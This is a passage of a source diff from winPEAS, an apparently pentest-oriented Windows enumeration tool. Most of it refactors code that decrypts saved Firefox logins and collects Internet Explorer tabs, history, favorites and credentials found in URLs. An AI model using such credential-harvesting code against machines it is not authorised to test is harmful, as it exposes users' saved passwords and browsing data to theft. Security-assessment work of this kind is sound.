string username = Browsers.Firefox.FFDecryptor.Decrypt(loginData.encryptedUsername);
|
||||
string password = Browsers.Firefox.FFDecryptor.Decrypt(loginData.encryptedPassword);
|
||||
string username = FFDecryptor.Decrypt(loginData.encryptedUsername);
|
||||
string password = FFDecryptor.Decrypt(loginData.encryptedPassword);
|
||||
logins.Add(new CredentialModel
|
||||
{
|
||||
Username = username,
|
||||
@@ -325,9 +333,9 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
}
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
{
|
||||
}
|
||||
|
||||
|
||||
return logins;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -5,7 +5,7 @@ namespace winPEAS.KnownFileCreds.Browsers
|
||||
{
|
||||
internal interface IBrowser
|
||||
{
|
||||
string Name { get; }
|
||||
string Name { get; }
|
||||
void PrintInfo();
|
||||
IEnumerable<CredentialModel> GetSavedCredentials();
|
||||
}
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
using System;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text.RegularExpressions;
|
||||
using Microsoft.Win32;
|
||||
using winPEAS.Checks;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Registry;
|
||||
@@ -30,7 +30,7 @@ namespace winPEAS.KnownFileCreds.Browsers
|
||||
{
|
||||
Beaprint.MainPrint("Current IE tabs");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||
List<string> urls = InternetExplorer.GetCurrentIETabs();
|
||||
List<string> urls = GetCurrentIETabs();
|
||||
|
||||
Dictionary<string, string> colorsB = new Dictionary<string, string>()
|
||||
{
|
||||
@@ -51,9 +51,9 @@ namespace winPEAS.KnownFileCreds.Browsers
|
||||
{
|
||||
Beaprint.MainPrint("Looking for GET credentials in IE history");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||
Dictionary<string, List<string>> chromeHistBook = InternetExplorer.GetIEHistFav();
|
||||
List<string> history = chromeHistBook["history"];
|
||||
List<string> favorites = chromeHistBook["favorites"];
|
||||
Dictionary<string, List<string>> ieHistoryBook = GetIEHistFav();
|
||||
List<string> history = ieHistoryBook["history"];
|
||||
List<string> favorites = ieHistoryBook["favorites"];
|
||||
|
||||
if (history.Count > 0)
|
||||
{
|
||||
@@ -69,8 +69,15 @@ namespace winPEAS.KnownFileCreds.Browsers
|
||||
Beaprint.AnsiPrint(" " + url, colorsB);
|
||||
}
|
||||
}
|
||||
|
||||
Console.WriteLine();
|
||||
|
||||
int limit = 50;
|
||||
Beaprint.MainPrint($"IE history -- limit {limit}\n");
|
||||
Beaprint.ListPrint(history.Take(limit).ToList());
|
||||
}
|
||||
else
|
||||
{
|
||||
Beaprint.NotFoundPrint();
|
||||
}
|
||||
|
||||
Beaprint.MainPrint("IE favorites");
|
||||
@@ -91,7 +98,7 @@ namespace winPEAS.KnownFileCreds.Browsers
|
||||
{ "favorites", new List<string>() },
|
||||
};
|
||||
|
||||
DateTime startTime = System.DateTime.Now.AddDays(-lastDays);
|
||||
DateTime startTime = DateTime.Now.AddDays(-lastDays);
|
||||
|
||||
try
|
||||
{
|
||||
@@ -167,39 +174,31 @@ namespace winPEAS.KnownFileCreds.Browsers
|
||||
{
|
||||
foreach (KeyValuePair<string, object> kvp in settings)
|
||||
{
|
||||
byte[] timeBytes = RegistryHelper.GetRegValueBytes("HKCU", "SOFTWARE\\Microsoft\\Internet Explorer\\TypedURLsTime", kvp.Key.ToString().Trim());
|
||||
if (timeBytes != null)
|
||||
{
|
||||
long timeLong = (long)(BitConverter.ToInt64(timeBytes, 0));
|
||||
DateTime urlTime = DateTime.FromFileTime(timeLong);
|
||||
if (urlTime > startTime)
|
||||
{
|
||||
results["history"].Add(kvp.Value.ToString().Trim());
|
||||
}
|
||||
}
|
||||
results["history"].Add(kvp.Value.ToString().Trim());
|
||||
}
|
||||
}
|
||||
|
||||
string userIEBookmarkPath = string.Format("{0}\\Favorites\\", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
|
||||
string[] bookmarkPaths = Directory.EnumerateFiles(userIEBookmarkPath, "*.url", SearchOption.AllDirectories).ToArray();
|
||||
|
||||
foreach (string bookmarkPath in bookmarkPaths)
|
||||
string userIEBookmarkPath = string.Format("{0}\\Favorites\\", Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
if (Directory.Exists(userIEBookmarkPath))
|
||||
{
|
||||
using (StreamReader rdr = new StreamReader(bookmarkPath))
|
||||
string[] bookmarkPaths = Directory.EnumerateFiles(userIEBookmarkPath, "*.url", SearchOption.AllDirectories).ToArray();
|
||||
foreach (string bookmarkPath in bookmarkPaths)
|
||||
{
|
||||
string line;
|
||||
string url = "";
|
||||
while ((line = rdr.ReadLine()) != null)
|
||||
using (StreamReader rdr = new StreamReader(bookmarkPath))
|
||||
{
|
||||
if (line.StartsWith("URL=", StringComparison.InvariantCultureIgnoreCase))
|
||||
string line;
|
||||
string url = "";
|
||||
while ((line = rdr.ReadLine()) != null)
|
||||
{
|
||||
if (line.Length > 4)
|
||||
url = line.Substring(4);
|
||||
break;
|
||||
if (line.StartsWith("URL=", StringComparison.InvariantCultureIgnoreCase))
|
||||
{
|
||||
if (line.Length > 4)
|
||||
url = line.Substring(4);
|
||||
break;
|
||||
}
|
||||
}
|
||||
results["favorites"].Add(url.ToString().Trim());
|
||||
}
|
||||
results["favorites"].Add(url.ToString().Trim());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -271,7 +270,7 @@ namespace winPEAS.KnownFileCreds.Browsers
|
||||
public override IEnumerable<CredentialModel> GetSavedCredentials()
|
||||
{
|
||||
// unsupported
|
||||
var result = new List<CredentialModel>();
|
||||
var result = new List<CredentialModel>();
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user